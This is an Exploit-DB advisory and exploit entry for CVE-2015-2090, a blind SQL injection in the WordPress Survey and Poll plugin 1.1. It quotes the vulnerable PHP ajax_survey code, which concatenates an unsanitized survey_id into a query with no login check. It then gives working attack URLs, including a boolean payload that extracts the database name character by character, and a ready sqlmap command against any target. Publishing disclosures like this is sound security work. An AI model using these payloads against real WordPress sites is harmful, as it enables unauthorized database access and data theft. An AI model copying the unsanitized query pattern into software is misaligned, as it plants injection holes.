标题: WordPress Plugin Survey and Poll 1.1 - Blind SQL Injection EDB-ID: 36054 CVE: 2015-2090 类型: WEBAPPS 平台: PHP 发布日期: 2015-02-11 漏洞利用脚本: #################################################################
# Exploit Title : Wordpress Survey and poll Blind SQL Injection

# Data : 2015 – 02 - 11

# Exploit Author : Securely (Yoo Hee man)

# Plugin : WordPress Survey and Poll

# Vender Homepage : http://modalsurvey.sympies.com

# Tested On : Windows XP / sqlmap_v1.0

# Software Link : https://downloads.wordpress.org/plugin/wp-survey-and-poll.1.1.zip
                  https://downlaods.wordpress.org/plugin/wp-survey-and-poll.zip (latest version v.1.1.7 By February 11, 2015 based on)

1. Detail 
- This Plugin is passes ajax_survey function as [admin-ajax.php] a form of action and processes them in the /wp-survey-and-poll/settings.php
- Settings.php file is no login cookie check
- "survey_id" variable is not sanitized


#################################################################
public function ajax_survey()
    {
  global $wpdb;
  $survey_id = "";
  $survey_name = "";
  $survey_start_time = "";
  $survey_expiry_time = "";
  $survey_global = "";
  if (isset($_REQUEST['survey_id'])) $survey_id = sanitize_text_field($_REQUEST['survey_id']);
  else $survey_id = "";
  if (isset($_REQUEST['survey_name'])) sanitize_text_field($survey_name = $_REQUEST['survey_name']);
  else $survey_name = "";
  if (isset($_REQUEST['start_time'])&&(!empty($_REQUEST['start_time']))) $survey_start_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['start_time']));
  else $survey_start_time = "";
  if (isset($_REQUEST['expiry_time'])&&(!empty($_REQUEST['expiry_time']))) $survey_expiry_time = $this->get_datetime_date(sanitize_text_field($_REQUEST['expiry_time']));
  else $survey_expiry_time = "";
  if (isset($_REQUEST['global_use'])) $survey_global = sanitize_text_field($_REQUEST['global_use']);
  else $survey_global = "";
  if (isset($_REQUEST['options'])) $survey_options = sanitize_text_field($_REQUEST['options']);
  else $survey_options = "";
  if (isset($_REQUEST['qa'])) $survey_qa = sanitize_text_field($_REQUEST['qa']);
  else $survey_qa = "";
  $survey_check = $wpdb->get_var("SELECT COUNT(*) FROM ".$wpdb->prefix."wp_sap_surveys WHERE `id` = ".$survey_id);
  if ($_REQUEST['sspcmd']=="save")
  {
  if ($survey_check>0) {
  //update survey
   $wpdb->update( $wpdb->prefix."wp_sap_surveys", array( "options" => $survey_options, "start_time" => $survey_start_time, 'expiry_time' => $survey_expiry_time, 'global' => $survey_global),array('id' => $survey_id));
   $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_questions WHERE `survey_id` = %d",$survey_id));
   $wpdb->query($wpdb->prepare("DELETE FROM ".$wpdb->prefix."wp_sap_answers WHERE `survey_id` = %d",$survey_id));
    $qa_object = (array)json_decode(stripslashes($survey_qa));
    $qa_array = (array)$qa_object;
    foreach($qa_array as $keyq=>$qr)
    {
     foreach($qr as $key=>$oa)
     {
      if ($key==0)
      {
      $wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
       'id' => ($keyq+1), 
       'survey_id' => $survey_id, 
       'question' => $oa
       ) );
       $qid = $wpdb->insert_id;
      }
      else
      {
      $oans = explode("->",$oa);
      $wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
       'survey_id' => $survey_id, 
       'question_id' => ($keyq+1),
       'answer' => $oans[0],
       'count' => $oans[1],
       'autoid' => $key
       ) );     
      }
     
     }
    }
   die("updated");
  }
  else {
  //insert survey
   $wpdb->insert( $wpdb->prefix."wp_sap_surveys", array( 
    'id' => $survey_id, 
    'name' => $survey_name, 
    'options' => $survey_options, 
    'start_time' => $survey_start_time,
    'expiry_time'=> $survey_expiry_time,
    'global'=> $survey_global
    ) );
    $qa_object = (array)json_decode(stripslashes($survey_qa));
    $qa_array = (array)$qa_object;
    foreach($qa_array as $keyq=>$qr)
    {
     foreach($qr as $key=>$oa)
     {
      if ($key==0)
      {
      $wpdb->insert( $wpdb->prefix."wp_sap_questions", array( 
       'id' => ($keyq+1), 
       'survey_id' => $survey_id, 
       'question' => $oa
       ) );
       $qid = $wpdb->insert_id;
      }
      else
      {
      $oans = explode("->",$oa);
      $wpdb->insert( $wpdb->prefix."wp_sap_answers", array( 
       'survey_id' => $survey_id, 
       'question_id' => ($keyq+1),
       'answer' => $oans[0],
       'autoid' => $key
       ) );     
      }
     
     }
    }
   die('success');
  }
################################################################

2. POC
- http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498 [SQLi]
- DataBase() => "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id= 3556498 AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),3,1))>[Numbers compare]

3. Sqlmap
- sqlmap -u "http://[target]/wp-admin/admin-ajax.php?action=ajax_survey&sspcmd=save&survey_id=3556498" -p survey_id --dbms=mysql


3. Solution:
Not patched

4. Discovered By : Securely(Yoo Hee man)
                   god2zuzu@naver.com URL: https://www.exploit-db.com/exploits/36054